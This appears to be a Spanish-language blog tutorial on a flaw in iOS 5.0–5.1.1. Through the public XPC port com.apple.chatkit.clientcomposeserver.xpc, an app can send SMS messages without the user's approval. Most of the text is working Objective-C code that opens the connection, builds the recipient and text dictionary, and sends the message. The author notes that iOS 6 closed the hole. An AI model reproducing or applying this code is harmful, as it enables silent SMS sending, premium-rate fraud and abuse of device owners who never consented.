Uno de los sistemas de comunicación entre procesos en MacOS es XPC. Esta capa del sistema se ha desarrollado para la comunicación entre procesos basada en la transferencia de estructuras plist mediante libSystem y launchd. De hecho, es una interfaz que permite gestionar procesos mediante el intercambio de estructuras tales como diccionarios. Debido a la herencia, iOS 5 también posee este mecanismo.
Es posible que ya entiendas lo que quiero decir con esta introducción. Sí, hay servicios de sistema en iOS que incluyen herramientas para la comunicación XPC. Y quiero ejemplificar el trabajo con un demonio para el envío de SMS. Sin embargo, debe mencionarse que esta capacidad se repara en iOS 6, pero es relevante para iOS 5.0—5.1.1. Jailbreak, Private Framework y otras herramientas ilegales no son necesarias para su explotación. Solo se necesita el conjunto de archivos de encabezado del directorio / usr / include / xpc / *.
Uno de los elementos para el envío de SMS en iOS es el servicio del sistema com.apple.chatkit, cuyas tareas incluyen la generación, gestión y envío de mensajes de texto cortos. Para facilitar el control, tiene el puerto de comunicación disponible públicamente com.apple.chatkit.clientcomposeserver.xpc. Usando el subsistema XPC, puede generar y enviar mensajes sin la aprobación del usuario.
Bueno, intentemos crear una conexión.
xpc_connection_t myConnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
Ahora tenemos la conexión XPC myConnection configurada para el servicio de envío de SMS. Sin embargo, la configuración de XPC proporciona la creación de conexiones suspendidas; debemos dar un paso más para la activación.
xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this later.
NSLog(@"Received a message event!");
});
xpc_connection_resume(myConnection);
La conexión está activada. Justo en este momento, iOS 6 mostrará un mensaje en el registro telefónico de que este tipo de comunicación está prohibida. Ahora necesitamos generar un diccionario similar a xpc_dictionary con los datos requeridos para el envío del mensaje.
NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");
Queda poco: envíe el mensaje al puerto XPC y asegúrese de que se entregue.
xpc_connection_send_message(myConnection, mydict);
xpc_connection_send_barrier(myConnection, ^{
NSLog(@"The message has been successfully delivered");
});
Eso es todo. SMS enviados